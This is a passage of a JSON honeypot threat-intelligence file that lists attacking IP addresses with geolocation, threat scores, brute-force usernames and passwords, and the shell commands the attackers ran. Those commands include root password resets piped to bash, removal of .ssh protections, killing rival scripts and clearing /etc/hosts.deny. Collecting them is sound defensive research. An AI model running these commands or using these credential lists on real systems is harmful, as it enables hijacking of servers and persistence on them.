      "commands_executed": [
        "Accept-Encoding: gzip, deflate",
        "Accept: */*",
        "Connection: keep-alive",
        "User-Agent: python-requests/2.27.1",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 63524,
        "days_active_30d": 28,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-03-02T00:01:26.189000+00:00",
        "last_seen_30d": "2026-03-29T14:42:57.656000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43875,
        "Honeytrap": 18583,
        "Sentrypeer": 516,
        "Cowrie": 135,
        "Miniprint": 120,
        "Mailoney": 98,
        "Dionaea": 58,
        "ConPot": 56,
        "Dicompot": 28,
        "H0neytr4p": 26,
        "Tanner": 15,
        "Ipphoney": 14
      }
    },
    "156.236.75.64": {
      "attack_count": 124,
      "first_seen": "2026-03-10T14:32:23.223Z",
      "last_seen": "2026-03-10T14:55:23.302Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "clawd",
        "345gs5662d34",
        "aaa",
        "abdel",
        "bert",
        "ftpuser01",
        "gera",
        "maks",
        "mitra",
        "mqtt",
        "pavel",
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123!",
        "Bert123!",
        "Pavel123",
        "clawd123",
        "mitra1234",
        "mqtt1234",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"clawd123\\nv7CTw0CKnqWn\\nv7CTw0CKnqWn\\n\"|passwd",
        "echo -e \"clawd123\\nv7CTw0CKnqWn\\nv7CTw0CKnqWn\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T14:32:23.223000+00:00",
        "last_seen_30d": "2026-03-10T14:56:24.386000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "103.146.159.14": {
      "attack_count": 118,
      "first_seen": "2026-03-16T17:36:09.765Z",
      "last_seen": "2026-03-16T17:56:44.249Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "appserver",
        "eder",
        "hyun",
        "kafka",
        "ks",
        "kubernetes",
        "patrick",
        "tms"
      ],
      "passwords_attempted": [
        "password",
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "appserver123!",
        "kafka123!",
        "kubernetespass",
        "passwd",
        "qaz12345@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BWHjaAEp7R66\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T17:36:09.765000+00:00",
        "last_seen_30d": "2026-03-16T17:57:49.444000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "121.179.119.204": {
      "attack_count": 118,
      "first_seen": "2026-03-02T07:11:28.458Z",
      "last_seen": "2026-03-02T07:37:21.212Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "7758258",
        "O&m15213",
        "Password03!",
        "Pi123456@",
        "Qwer4321",
        "a456123a",
        "a674554456",
        "abc123456789.",
        "kodiak",
        "sx123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:nzrVChkKcBeR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangsan-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:11:28.458000+00:00",
        "last_seen_30d": "2026-03-02T07:38:23.073000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "137.184.46.105": {
      "attack_count": 118,
      "first_seen": "2026-03-02T13:40:21.299Z",
      "last_seen": "2026-03-02T14:02:22.023Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456Cc",
        "3245gs5662d34",
        "345gs5662d34",
        "@huawei123",
        "P@ssword.",
        "Pass2024!",
        "Qaz123Wsx",
        "admin000",
        "admin@root",
        "cz123456",
        "fire",
        "zzidc2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jdTEuIuCvtRF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T13:40:21.299000+00:00",
        "last_seen_30d": "2026-03-02T14:03:26.262000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "152.32.211.238": {
      "attack_count": 118,
      "first_seen": "2026-03-07T10:46:22.223Z",
      "last_seen": "2026-03-07T11:10:46.739Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elizabeth",
        "evan",
        "frappe",
        "ghost",
        "james",
        "nginx",
        "prova",
        "tsbot"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Ghost123!",
        "Minijer.com",
        "eSER!@#",
        "elizabeth123",
        "evan123",
        "frappe@1234",
        "james123",
        "tsbot1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:VQ4DJEWh75RJ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T10:46:22.223000+00:00",
        "last_seen_30d": "2026-03-07T11:11:53.018000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "203.150.162.250": {
      "attack_count": 118,
      "first_seen": "2026-03-02T14:22:05.527Z",
      "last_seen": "2026-03-02T14:48:11.694Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qweasd",
        "1qaz0okm",
        "3245gs5662d34",
        "345gs5662d34",
        "5tgbNHY^",
        "Ah123456.",
        "Bn123456@",
        "Oracle@123456",
        "Password0",
        "Xy123456@",
        "adminroot",
        "zxcvbnm1234567"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NaQncZWW5a1S\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 4618,
      "as_org": "Internet Thailand Company Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:22:05.527000+00:00",
        "last_seen_30d": "2026-03-02T14:49:13.324000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "46.24.47.94": {
      "attack_count": 118,
      "first_seen": "2026-03-02T14:25:54.987Z",
      "last_seen": "2026-03-02T14:51:07.982Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1Qaz2Wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei@12345",
        "Welcome123$",
        "Welcome@2023",
        "a0123456789",
        "abc-123",
        "eSER!@#",
        "p@ssw0rd123",
        "splunk",
        "xxoo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NX5SChomNQAT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Lorca",
      "asn": 12430,
      "as_org": "Vodafone Spain",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:25:54.987000+00:00",
        "last_seen_30d": "2026-03-02T14:52:09.489000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "128.1.44.162": {
      "attack_count": 113,
      "first_seen": "2026-03-09T12:06:42.986Z",
      "last_seen": "2026-03-09T12:38:41.114Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "abhishek",
        "administrador",
        "miguel",
        "ming",
        "odm",
        "pyramid",
        "sales1",
        "sky",
        "tv"
      ],
      "passwords_attempted": [
        "12345678",
        "12345",
        "123456",
        "miguel",
        "mingpass",
        "password",
        "pyramid",
        "sky"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\npgzNrtXiCVl8\\npgzNrtXiCVl8\\n\"|passwd",
        "echo -e \"123456\\npgzNrtXiCVl8\\npgzNrtXiCVl8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T12:06:42.986000+00:00",
        "last_seen_30d": "2026-03-09T12:39:48.333000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 30
      }
    },
    "42.112.42.129": {
      "attack_count": 113,
      "first_seen": "2026-03-05T09:39:45.263Z",
      "last_seen": "2026-03-05T10:10:08.698Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user",
        "345gs5662d34",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456Aa.",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456A722",
        "AA123456-",
        "Aa1234&",
        "P@ssw0rdz5",
        "P@ssw2rd",
        "a123456sd",
        "aA@2023",
        "abc12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:FuQwQ2eZxaLL\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:39:45.263000+00:00",
        "last_seen_30d": "2026-03-05T10:11:09.917000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 27
      }
    },
    "103.115.56.3": {
      "attack_count": 104,
      "first_seen": "2026-03-17T06:18:59.575Z",
      "last_seen": "2026-03-17T06:40:16.743Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "admin",
        "root",
        "user02",
        "usuario",
        "astra",
        "dheeraj",
        "md",
        "tibero",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "Abcd1234!@#$",
        "Dheeraj123",
        "Pa$$w0rd2024",
        "admin",
        "mdpass",
        "tibero123",
        "user02123",
        "vpn123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:18:59.575000+00:00",
        "last_seen_30d": "2026-03-17T06:41:17.869000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 35
      }
    },
    "103.72.9.187": {
      "attack_count": 98,
      "first_seen": "2026-03-13T20:02:07.754Z",
      "last_seen": "2026-03-13T20:07:31.922Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 151729,
      "as_org": "SWIFTIFY PRIVATE LIMITED",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T20:02:07.754000+00:00",
        "last_seen_30d": "2026-03-13T20:08:35.415000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 50
      }
    },
    "101.126.67.255": {
      "attack_count": 94,
      "first_seen": "2026-03-03T20:36:11.779Z",
      "last_seen": "2026-03-26T02:17:16.244Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "fastuser",
        "haoran",
        "vpn"
      ],
      "passwords_attempted": [
        "12345678",
        "!@QW34er",
        "12121212",
        "12344",
        "1qazXSW@3edcVFR$",
        "Gfhjkm123456",
        "Qweasd123!@#",
        "Qwerty@1",
        "haoran123",
        "testpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 44.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:36:11.779000+00:00",
        "last_seen_30d": "2026-03-26T02:27:24.978000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 58
      }
    },
    "89.232.166.58": {
      "attack_count": 94,
      "first_seen": "2026-03-26T18:28:27.526Z",
      "last_seen": "2026-03-26T18:46:40.724Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "yy",
        "345gs5662d34",
        "hyun",
        "java",
        "root",
        "tmp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "a111222",
        "hyunpass",
        "java123!",
        "password",
        "tmp1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nLkiRiFmCySxs\\nLkiRiFmCySxs\\n\"|passwd",
        "echo -e \"password\\nLkiRiFmCySxs\\nLkiRiFmCySxs\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 208677,
      "as_org": "Cloud.ru",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:28:27.526000+00:00",
        "last_seen_30d": "2026-03-26T18:47:50.092000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 17
      }
    },
    "139.135.59.80": {
      "attack_count": 84,
      "first_seen": "2026-03-14T18:40:38.986Z",
      "last_seen": "2026-03-17T08:54:22.903Z",
      "sessions": 42,
      "ports": [],
